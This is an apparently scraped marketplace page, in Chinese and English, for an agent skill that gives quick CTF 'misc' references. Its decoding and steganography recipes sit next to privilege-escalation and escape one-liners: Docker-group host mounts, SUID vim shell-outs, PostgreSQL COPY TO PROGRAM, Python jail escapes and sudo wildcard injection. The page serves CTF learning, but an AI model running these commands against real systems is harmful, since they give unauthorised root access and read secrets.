CTF杂项挑战快速参考指南 | 沙箱逃逸、编码解码、信号处理与提权技术

ctf-misc by ljagiello/ctf-skills

676 周安装量

694 GitHub Stars

GitHub

安装命令

npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-misc

自动化测试安全

🇨🇳中文介绍

CTF 杂项

CTF 杂项挑战快速参考。此处每种技术都有一行描述；完整细节请参阅支持文件。

额外资源

pyjails.md - Python 沙箱逃逸技术，自生成程序上下文检测，受限字符的重复单位分解，func_globals 模块链遍历，受限字符集数字生成，类属性持久化
bashjails.md - Bash 沙箱/受限 Shell 逃逸技术，HISTFILE 文件读取技巧，bash -v 详细模式，ctypes.sh 直接 C 库调用
encodings.md - 编码，二维码，esolangs，Verilog/HDL，UTF-16 技巧，BCD 编码，多层自动解码，格雷码循环编码，索引目录二维码重组，多阶段 URL 编码链，RTF 自定义标签提取，SMS PDU 解码，十六进制数独 + 二维码组装
rf-sdr.md - RF/SDR/IQ 信号处理（QAM-16，载波恢复，定时同步）
dns.md - DNS 利用（ECS 欺骗，NSEC 遍历，IXFR，重绑定，隧道）
games-and-vms.md - WASM 补丁，Roblox 场景文件逆向，PyInstaller，marshal 分析，Python 环境 RCE，Z3（包括布尔逻辑门网络 SAT 求解），K8s RBAC，浮点精度利用，通过 Python MRO 链的自定义汇编语言沙箱逃逸
games-and-vms-2.md - ML 权重扰动抵消，Cookie 检查点游戏暴力破解，Flask Cookie 游戏状态泄露，WebSocket 游戏操纵，仅服务器时间验证绕过，LoRA 适配器权重合并与可视化，De Bruijn 序列，Brainfuck 插桩，WASM 线性内存操纵，神经网络编码器碰撞
games-and-vms-3.md - memfd_create 打包二进制文件，带 HMAC 承诺-揭示和 GF(256) Nim 的多阶段加密游戏，模拟器 ROM 切换状态保留，Python marshal 代码注入，本福特定律绕过，并行连接预言机中继，数独求解器流水线，100 囚徒问题，通过表情符号标识符的 C 代码沙箱逃逸，BuildKit 守护进程构建密钥利用，Docker 容器逃逸，Levenshtein 距离预言机攻击
linux-privesc.md - Sudo 通配符参数注入（fnmatch），为 sudoers.d 制作 pcap，monit confcheck 进程注入，Apache -d 覆盖，备份 cronjob SUID，PostgreSQL COPY TO PROGRAM RCE，PostgreSQL 备份凭据提取，NFS 共享利用，SSH Unix 套接字隧道，PaperCut Print Deploy 提权，Squid 代理跳转，通过 MySQL 的 Zabbix 管理员密码重置，WinSSHTerm 凭据解密

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

IEEE-754 浮点数编码（数据隐藏）

模式（浮点）： 数字是隐藏原始字节的 float32 值。

关键洞察： 32 位浮点数只是解释为数字的 4 个字节。重新解释为原始字节 -> ASCII。

import struct
floats = [1.234e5, -3.456e-7, ...]  # 挑战给出的任何浮点数
flag = b''
for f in floats:
    flag += struct.pack('>f', f)
print(flag.decode())

变体： 双精度 '>d'，小端序 '<f'，混合。CyberChef 配方请参阅 encodings.md。

USB 鼠标 PCAP 重建

模式（Hunt and Peck）： USB HID 鼠标流量捕获屏幕键盘输入。使用 USB-Mouse-Pcap-Visualizer，提取点击坐标（下降沿），对相对增量进行累积求和以获得绝对位置，叠加到 OSK 图像上。

file unknown_file
xxd unknown_file | head
binwalk unknown_file

7z x archive.7z           # 通用
tar -xzf archive.tar.gz   # Gzip
tar -xjf archive.tar.bz2  # Bzip2
tar -xJf archive.tar.xz   # XZ

while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
    7z x -y "$f" && rm "$f"
done

zbarimg qrcode.png       # 解码
qrencode -o out.png "data"

二维码结构、修复技术、分块重组（结构化和索引目录变体）以及多阶段 URL 编码链，请参阅 encodings.md。

sox audio.wav -n spectrogram  # 可视化数据
qsstv                          # SSTV 解码器

RF / SDR / IQ 信号处理

完整细节（IQ 格式、QAM-16 解调、载波/定时恢复）请参阅 rf-sdr.md。

cf32 : np.fromfile(path, dtype=np.complex64) | cs16 : int16 reshape(-1,2) | cu8 : RTL-SDR 原始数据
星座图中的圆圈 = 恒定频率偏移；螺旋 = 漂移频率 + 增益不稳定
DD 载波恢复中的 4 重模糊性 - 尝试 0/90/180/270 旋转

from pwn import *

r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()

Python 沙箱快速参考

预言机模式： L() = 长度，Q(i,x) = 比较，S(guess) = 提交。线性或二分查找。
海象运算符绕过： (abcdef := "new_chars") 重新分配约束变量
装饰器绕过： @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ 用于无调用、无引号逃逸
字符串连接： open(''.join(['fl','ag.txt'])).read() 当 + 被阻止时使用

完整技术请参阅 pyjails.md。

from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# 添加约束，检查 sat，提取模型

YARA 规则、作为约束的类型系统、布尔逻辑门网络 SAT 求解，请参阅 games-and-vms.md。

MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995

SHA-256 长度扩展攻击

MAC = SHA-256(SECRET || msg) 已知 msg/hash -> 通过 hlextend 伪造有效 MAC。易受攻击：SHA-256，MD5，SHA-1。不易受攻击：HMAC，SHA-3。

import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)

PyInstaller： pyinstxtractor.py packed.exe。操作码重映射请参阅 games-and-vms.md。
Marshal： marshal.load(f) 然后 dis.dis(code)。请参阅 games-and-vms.md。
Python 环境 RCE： PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd"。请参阅 games-and-vms.md。
WASM 补丁： wasm2wat -> 翻转 minimax -> wat2wasm。请参阅 games-and-vms.md。
浮点精度： 大的乘数将 FP 误差放大为可利用的分数。请参阅 games-and-vms.md。
K8s RBAC 绕过： SA 令牌 -> 模拟 -> hostPath 挂载 -> 读取密钥。请参阅 games-and-vms.md。
Cookie 检查点： 在猜测前保存会话 Cookie，失败时恢复以暴力破解而无需重置。请参阅 games-and-vms-2.md。
Flask Cookie 游戏状态： flask-unsign -d -c '<cookie>' 解码未签名的 Flask 会话，泄露游戏答案。请参阅 games-and-vms-2.md。
WebSocket 传送： 在控制台修改 player.x/player.y，调用验证函数。请参阅 games-and-vms-2.md。
仅时间验证： 开始会话，time.sleep(required_seconds)，提交获胜。请参阅 games-and-vms-2.md。
LoRA 适配器合并： 合并 W + B@A 低秩矩阵，阈值化为二进制，可视化为位图以获取隐藏标志。请参阅 games-and-vms-2.md。
自生成程序上下文检测： 双重用途的自生成程序，打印自身（通过验证）并通过全局变量门仅在服务器进程中运行有效负载。请参阅 pyjails.md。
重复单位分解： 将目标整数分解为重复单位（1, 11, 111, ...）的和，仅使用 2 个字符（1 和 +）进行受限求值。请参阅 pyjails.md。
De Bruijn 序列： B(k, n) 包含所有 k^n 个可能的 n 长度字符串作为子串；通过附加前 n-1 个字符进行线性化。请参阅 games-and-vms-2.md。
Brainfuck 插桩： 插桩 BF 解释器以跟踪磁带单元，通过验证单元逐个字符暴力破解标志。请参阅 games-and-vms-2.md。
WASM 内存操纵： 在运行时修补 WASM 线性内存以直接设置游戏状态变量，绕过游戏逻辑。请参阅 games-and-vms-2.md。
神经网络编码器碰撞： 贪婪搜索 + 模拟退火在降维编码器（16D→4D）中找到碰撞。请参阅 games-and-vms-2.md。
通过表情符号 + 小工具嵌入的 C 代码沙箱： 当 C 中只允许表情符号和标点时，使用 (😃==😃) 作为常量 1，构建整数，在 add eax, imm32 常量中嵌入小工具，跳转到 offset+1 以获取 shellcode 原语。请参阅 games-and-vms-3.md。
模拟器 ROM 切换： /load 替换 ROM 但保留 CPU 状态（寄存器、RAM、PC）。在特定 PC 处切换 ROM，将一个 ROM 的 INIT 与另一个 ROM 的显示指令结合 -> 读取受保护的内存。请参阅 games-and-vms-3.md。
BuildKit 守护进程利用： 暴露的 BuildKit gRPC 允许嵌套的 buildctl build 并带有 --mount=type=secret 以读取构建密钥。两阶段 Dockerfile：安装 buildctl -> 提交嵌套构建并挂载标志密钥。请参阅 games-and-vms-3.md。
Docker 容器逃逸： 通过主机设备挂载的特权逃逸，docker.sock 套接字逃逸，CAP_SYS_ADMIN cgroup release_agent，通过 /proc 和 overlayfs 的容器信息泄露。请参阅 games-and-vms-3.md。
十六进制数独 + 二维码组装： 4 个二维码编码 16x16 十六进制数独象限；求解网格，将对角线读取为十六进制对 -> ASCII 标志。请参阅 encodings.md。
Z3 布尔门网络 SAT 求解： 产品密钥验证为 125 个输入位上的 250 个布尔门（AND/OR/XOR/NOT）。将每个门建模为 Z3 约束，要求所有输出为 True，在毫秒内求解。请参阅 games-and-vms.md。

3D 打印机视频喷嘴追踪（LACTF 2026）

模式（flag-irl）： 3D 打印机打印铭牌的视频。标志是打印的文本。

技术： 从视频帧追踪喷嘴 X/Y 位置，过滤打印移动（仅顶层/文本层），绘制 2D 直方图以显示字母形状：

# 1. 识别文本层帧（例如，帧 26100-28350）
# 2. 追踪打印头 X 位置（物理 X 轴）
# 3. 追踪打印床 X 位置（相机角度的物理 Y 轴）
# 4. 过滤挤出时的移动（打印时头部移动）
# 5. 绘制为 2D 散点图/直方图 -> 字母出现

Discord API 枚举（0xFun 2026）

标志隐藏在 Discord 元数据中（角色、动画表情符号、嵌入）。调用 /ctf-osint 获取 Discord API 枚举技术和代码（参见 ctf-osint 中的 social-media.md）。

SUID 二进制利用（0xFun 2026）

# 查找 SUID 二进制文件
find / -perm -4000 2>/dev/null

# 与 GTFObins 交叉参考
# 带 SUID 的 xxd: xxd flag.txt | xxd -r
# 带 SUID 的 vim: vim -c ':!cat /flag.txt'

Linux 权限提升快速检查

# GECOS 字段密码
cat /etc/passwd  # 检查第 5 个冒号分隔的字段

# ACL 权限
getfacl /path/to/restricted/file

# Sudo 权限
sudo -l

# Docker 组成员资格（立即获得 root）
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Docker 组权限提升（H7CTF 2025）

docker 组中的用户可以将主机文件系统挂载到容器中并 chroot 到其中以获得 root 访问权限。

# 检查组成员资格
id  # 在组中查找 "docker"

# 挂载主机根文件系统并 chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# 现在以 root 身份在主机文件系统上运行
cat /root/flag.txt

关键洞察： Docker 组成员资格等同于 root 访问权限。docker CLI 套接字（/var/run/docker.sock）允许创建挂载整个主机文件系统的特权容器。

Sudo 通配符参数注入（Dump HTB）

Sudo 的 fnmatch() 跨参数边界匹配 *。将额外标志（-Z root，-r，第二个 -w）注入到锁定的命令中。制作包含有效 sudoers 条目的 pcap —— sudo 的解析器从二进制垃圾中恢复，与 cron 的严格解析器不同。请参阅 linux-privesc.md。

Monit 进程命令行注入（Zero HTB）

Root monit 脚本使用 pgrep -lfa 提取进程命令行，然后执行修改后的版本。通过 perl -e '$0 = "..."' 创建带有注入标志的假进程。Apache -d 最后生效覆盖 ServerRoot；-E 捕获错误输出。Include /root/flag 导致解析错误，从而泄露文件内容。请参阅 linux-privesc.md。

PostgreSQL RCE 和文件读取（Slonik HTB）

COPY (SELECT '') TO PROGRAM 'cmd' 以 postgres 身份执行 OS 命令。pg_read_file('/path') 读取文件。从 pg_basebackup 归档（global/1260 = pg_authid）中提取凭据。SSH 隧道到 Unix 套接字：ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432。请参阅 linux-privesc.md。

备份 Cronjob SUID 滥用（Slonik HTB）

Root cronjob 复制目录时保留 SUID 位但将所有权更改为 root。将 SUID bash 放在源目录中 -> 备份将其复制为 root 拥有的 SUID。使用 bash -p 执行。请参阅 linux-privesc.md。

PaperCut Print Deploy 提权（Bamboo HTB）

Root 进程从用户拥有的目录运行脚本。修改 server-command，通过 Mobility Print API 刷新触发。请参阅 linux-privesc.md。

有用的一行命令

grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"

模式（Frenzy）： 字符在 QWERTY 键盘布局上左/右移位。

识别： dCode 密码识别器建议 "键盘移位密码"

解码： 使用 dCode 键盘移位密码的自动模式。

猪圈密码 / 共济会密码

模式（Working For Peanuts）： 基于网格位置表示字母的几何符号。

识别： 有角/几何符号，挑战提到 "Peanuts" 漫画（Charlie Brown），"dusty looking crypto"

解码： 将符号映射到猪圈网格位置，或使用在线解码器。

数值数据列中的 ASCII

模式（Cooked Books）： CSV/电子表格数值（48-126）是 ASCII 字符代码。

import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)

CyberChef： "From Decimal" 配方，使用换行符分隔。

源代码中的后门检测

模式（Rear Hatch）： 隐藏的命令前缀触发 system() 调用。

strncmp(input, "exec:", 5) -> 运行 system(input + 5)
十六进制编码的比较字符串：\x65\x78\x65\x63\x3a = "exec:"
维护/管理函数中的隐藏条件

完整细节（ECS 欺骗，NSEC 遍历，IXFR，重绑定，隧道）请参阅 dns.md。

ECS 欺骗 : dig @server flag.example.com TXT +subnet=10.13.37.1/24 - 尝试 leet-speak IP（1337）
NSEC 遍历 : 跟随 NSEC 链枚举 DNSSEC 区域
IXFR : dig @server domain IXFR=0 当 AXFR 被阻止时
DNS 重绑定 : 低 TTL 交替解析以绕过同源策略
DNS 隧道 : 通过子域查询或 TXT 响应泄露数据

变体选择符补充（U+E0100-U+E01EF）

模式（Seen & emoji, Nullcon 2026）： 不可见的变体选择符补充字符通过码点偏移编码 ASCII。

# 从可见字符后的变体选择符中提取隐藏数据
data = open('README.md', 'r').read().strip()
hidden = data[1:]  # 跳过可见的表情符号字符
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)

检测： 字符显示为不可见但具有非零长度。使用 [hex(ord(c)) for c in text] 检查 —— 查找 0xE0100-0xE01EF 或 0xFE00-0xFE0F 范围内的码点。

Unicode 标签块（U+E0000-U+E007F）（UTCTF 2026）

模式（Hidden in Plain Sight）： 不可见的 Unicode 标签字符嵌入在 URL、文件名或文本中。每个标签码点通过减去 0xE0000 直接映射到 ASCII 字符。URL 编码为 4 字节 UTF-8 序列（%F3%A0%81%...）。

import urllib.parse

url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)

flag = ''.join(
    chr(ord(ch) - 0xE0000)
    for ch in decoded
    if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)

关键洞察： Unicode 标签（U+E0001-U+E007F）与 ASCII 1:1 对应 —— 减去 0xE0000 以恢复原始字符。它们在大多数字体中呈现为零宽度不可见字形。与变体选择符（U+E0100+）不同，这些具有更简单的偏移计算，并出现在 URL 片段、挑战标题或文件名中，其中文本看起来正常但字节长度可疑地长。

检测： 文本或 URL 的字节长度比预期长。以 %F3%A0%80 或 %F3%A0%81 开头的百分号编码序列。Python：any(0xE0000 <= ord(c) <= 0xE007F for c in text)。

UTF-16 字节序反转

模式（endians）： 文本 "变成日语" —— 来自 UTF-16 字节序不匹配的乱码。

# 如果编码为 UTF-16-LE 但解码为 UTF-16-BE：
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')

识别： CJK 字符，挑战提到 "翻译" 或 "字节序"。细节请参阅 encodings.md。

密码识别工作流

ROT13 - 挑战提到 "ROT"，文本看起来像乱码英语
Base64 - A-Za-z0-9+/=，标题暗示 "64"
Base32 - A-Z2-7= 仅大写
Atbash - 标题暗示（Abash/Atbash），保留空格，1:1 替换
Pigpen - 网格上的几何符号
键盘移位 - 文本看起来像按了相邻键
替换密码 - 频率分析适用

自动识别： dCode 密码识别器

HISTFILE 技巧用于受限 Shell 文件读取（BCTF 2016）

无需 cat/less/head 读取文件：HISTFILE=/flag /bin/bash && history，或 bash -v flag.txt（详细模式打印行），或 ctypes.sh dlcall 用于直接 C 库调用。请参阅 bashjails.md。

Levenshtein 距离预言机攻击（SunshineCTF 2016）

预言机返回猜测与秘密之间的编辑距离。从空字符串确定长度，从单字符重复识别存在的字符，二分查找位置。O(n log n) 查询。请参阅 games-and-vms-3.md。

🇺🇸English

CTF Miscellaneous

Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.

Additional Resources

pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func_globals module chain traversal, restricted charset number generation, class attribute persistence
bashjails.md - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls
encodings.md - Encodings, QR codes, esolangs, Verilog/HDL, UTF-16 tricks, BCD encoding, multi-layer auto-decoding, Gray code cyclic encoding, indexed directory QR reassembly, multi-stage URL encoding chains, RTF custom tag extraction, SMS PDU decoding, hexadecimal Sudoku + QR assembly
rf-sdr.md - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)
dns.md - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)
games-and-vms.md - WASM patching, Roblox place file reversing, PyInstaller, marshal analysis, Python env RCE, Z3 (including boolean logic gate network SAT solving), K8s RBAC, floating-point precision exploitation, custom assembly language sandbox escape via Python MRO chain
games-and-vms-2.md - ML weight perturbation negation, cookie checkpoint game brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, LoRA adapter weight merging and visualization, De Bruijn sequence, Brainfuck instrumentation, WASM linear memory manipulation, neural network encoder collision
games-and-vms-3.md - memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, BuildKit daemon build secret exploitation, Docker container escape, Levenshtein distance oracle attack
linux-privesc.md - Sudo wildcard parameter injection (fnmatch), crafted pcap for sudoers.d, monit confcheck process injection, Apache -d override, backup cronjob SUID, PostgreSQL COPY TO PROGRAM RCE, PostgreSQL backup credential extraction, NFS share exploitation, SSH Unix socket tunneling, PaperCut Print Deploy privesc, Squid proxy pivoting, Zabbix admin password reset via MySQL, WinSSHTerm credential decryption

General Tips

Read all provided files carefully
Check file metadata, hidden content, encoding
Power Automate scripts may hide API calls
Use binary search when guessing multiple answers

Common Encodings

# Base64
echo "encoded" | base64 -d

# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d

# Hex
echo "68656c6c6f" | xxd -r -p

# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'

Identify by charset:

Base64: A-Za-z0-9+/=
Base32: A-Z2-7= (no lowercase)
Hex: 0-9a-fA-F

See encodings.md for Caesar brute force, URL encoding, and full details.

IEEE-754 Float Encoding (Data Hiding)

Pattern (Floating): Numbers are float32 values hiding raw bytes.

Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.

import struct
floats = [1.234e5, -3.456e-7, ...]  # Whatever the challenge gives
flag = b''
for f in floats:
    flag += struct.pack('>f', f)
print(flag.decode())

Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.

USB Mouse PCAP Reconstruction

Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.

File Type Detection

file unknown_file
xxd unknown_file | head
binwalk unknown_file

Archive Extraction

7z x archive.7z           # Universal
tar -xzf archive.tar.gz   # Gzip
tar -xjf archive.tar.bz2  # Bzip2
tar -xJf archive.tar.xz   # XZ

Nested Archive Script

while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
    7z x -y "$f" && rm "$f"
done

QR Codes

zbarimg qrcode.png       # Decode
qrencode -o out.png "data"

See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.

Audio Challenges

sox audio.wav -n spectrogram  # Visual data
qsstv                          # SSTV decoder

RF / SDR / IQ Signal Processing

See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).

Quick reference:

cf32 : np.fromfile(path, dtype=np.complex64) | cs16 : int16 reshape(-1,2) | cu8 : RTL-SDR raw
Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability
4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation

pwntools Interaction

from pwn import *

r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()

Python Jail Quick Reference

Oracle pattern: L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.
Walrus bypass: (abcdef := "new_chars") reassigns constraint vars
Decorator bypass: @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escape
String join: open(''.join(['fl','ag.txt'])).read() when + is blocked

See pyjails.md for full techniques.

Z3 / Constraint Solving

from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model

See games-and-vms.md for YARA rules, type systems as constraints, boolean logic gate network SAT solving.

Hash Identification

MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995

SHA-256 Length Extension Attack

MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.

import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)

Technique Quick References

PyInstaller: pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping.
Marshal: marshal.load(f) then dis.dis(code). See games-and-vms.md.
Python env RCE: PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd". See games-and-vms.md.
WASM patching: wasm2wat -> flip minimax -> wat2wasm. See games-and-vms.md.

3D Printer Video Nozzle Tracking (LACTF 2026)

Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.

Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:

# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear

Discord API Enumeration (0xFun 2026)

Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).

SUID Binary Exploitation (0xFun 2026)

# Find SUID binaries
find / -perm -4000 2>/dev/null

# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'

Reference: https://gtfobins.github.io/

Linux Privilege Escalation Quick Checks

# GECOS field passwords
cat /etc/passwd  # Check 5th colon-separated field

# ACL permissions
getfacl /path/to/restricted/file

# Sudo permissions
sudo -l

# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Docker Group Privilege Escalation (H7CTF 2025)

User in the docker group can mount the host filesystem into a container and chroot into it for root access.

# Check group membership
id  # Look for "docker" in groups

# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# Now running as root on the host filesystem
cat /root/flag.txt

Key insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.

Reference: https://gtfobins.github.io/gtfobins/docker/

Sudo Wildcard Parameter Injection (Dump HTB)

Sudo's fnmatch() matches * across argument boundaries. Inject extra flags (-Z root, -r, second -w) into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See linux-privesc.md.

Monit Process Command-Line Injection (Zero HTB)

Root monit script uses pgrep -lfa to extract process command lines, then executes a modified version. Create fake process via perl -e '$0 = "..."' with injected flags. Apache -d last-wins overrides ServerRoot; -E captures error output. Include /root/flag causes a parse error that reveals the file content. See linux-privesc.md.

PostgreSQL RCE and File Read (Slonik HTB)

COPY (SELECT '') TO PROGRAM 'cmd' executes OS commands as postgres. pg_read_file('/path') reads files. Extract credentials from pg_basebackup archives (global/1260 = pg_authid). SSH tunnel to Unix sockets: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432. See linux-privesc.md.

Backup Cronjob SUID Abuse (Slonik HTB)

Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with bash -p. See linux-privesc.md.

PaperCut Print Deploy Privesc (Bamboo HTB)

Root process runs scripts from user-owned directory. Modify server-command, trigger via Mobility Print API refresh. See linux-privesc.md.

Useful One-Liners

grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"

Keyboard Shift Cipher

Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.

Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"

Decoding: Use dCode Keyboard Shift Cipher with automatic mode.

Pigpen / Masonic Cipher

Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.

Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"

Decoding: Map symbols to Pigpen grid positions, or use online decoder.

ASCII in Numeric Data Columns

Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.

import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)

CyberChef: "From Decimal" recipe with line feed delimiter.

Backdoor Detection in Source Code

Pattern (Rear Hatch): Hidden command prefix triggers system() call.

Common patterns:

strncmp(input, "exec:", 5) -> runs system(input + 5)
Hex-encoded comparison strings: \x65\x78\x65\x63\x3a = "exec:"
Hidden conditions in maintenance/admin functions

DNS Exploitation Techniques

See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).

Quick reference:

ECS spoofing : dig @server flag.example.com TXT +subnet=10.13.37.1/24 - try leet-speak IPs (1337)
NSEC walking : Follow NSEC chain to enumerate DNSSEC zones
IXFR : dig @server domain IXFR=0 when AXFR is blocked
DNS rebinding : Low-TTL alternating resolution to bypass same-origin
DNS tunneling : Data exfiltrated via subdomain queries or TXT responses

Unicode Steganography

Variation Selectors Supplement (U+E0100-U+E01EF)

Patterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.

# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:]  # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)

Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.

Unicode Tags Block (U+E0000-U+E007F) (UTCTF 2026)

Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).

import urllib.parse

url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)

flag = ''.join(
    chr(ord(ch) - 0xE0000)
    for ch in decoded
    if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)

Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.

Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).

UTF-16 Endianness Reversal

Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.

# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')

Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.

Cipher Identification Workflow

ROT13 - Challenge mentions "ROT", text looks like garbled English
Base64 - A-Za-z0-9+/=, title hints "64"
Base32 - A-Z2-7= uppercase only
Atbash - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution
Pigpen - Geometric symbols on grid
Keyboard Shift - Text looks like adjacent keys pressed
Substitution - Frequency analysis applicable

Auto-identify: dCode Cipher Identifier

HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)

Read files without cat/less/head: HISTFILE=/flag /bin/bash && history, or bash -v flag.txt (verbose mode prints lines), or ctypes.sh dlcall for direct C library calls. See bashjails.md.

Levenshtein Distance Oracle Attack (SunshineCTF 2016)

Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See games-and-vms-3.md.

Weekly Installs

676

Repository

ljagiello/ctf-skills

GitHub Stars

694

First Seen

Feb 1, 2026

Security Audits

Gen Agent Trust HubWarn SocketFail SnykFail

Installed on

codex665

opencode663

github-copilot652

gemini-cli650

amp650

kimi-cli649

Vue 3 调试指南：解决响应式、计算属性与监听器常见错误

9,800 周安装

Float precision: Large multipliers amplify FP errors into exploitable fractions. See games-and-vms.md.

K8s RBAC bypass: SA token -> impersonate -> hostPath mount -> read secrets. See games-and-vms.md.

Cookie checkpoint: Save session cookies before guesses, restore on failure to brute-force without reset. See games-and-vms-2.md.

Flask cookie game state: flask-unsign -d -c '<cookie>' decodes unsigned Flask sessions, leaking game answers. See games-and-vms-2.md.

WebSocket teleport: Modify player.x/player.y in console, call verification function. See games-and-vms-2.md.

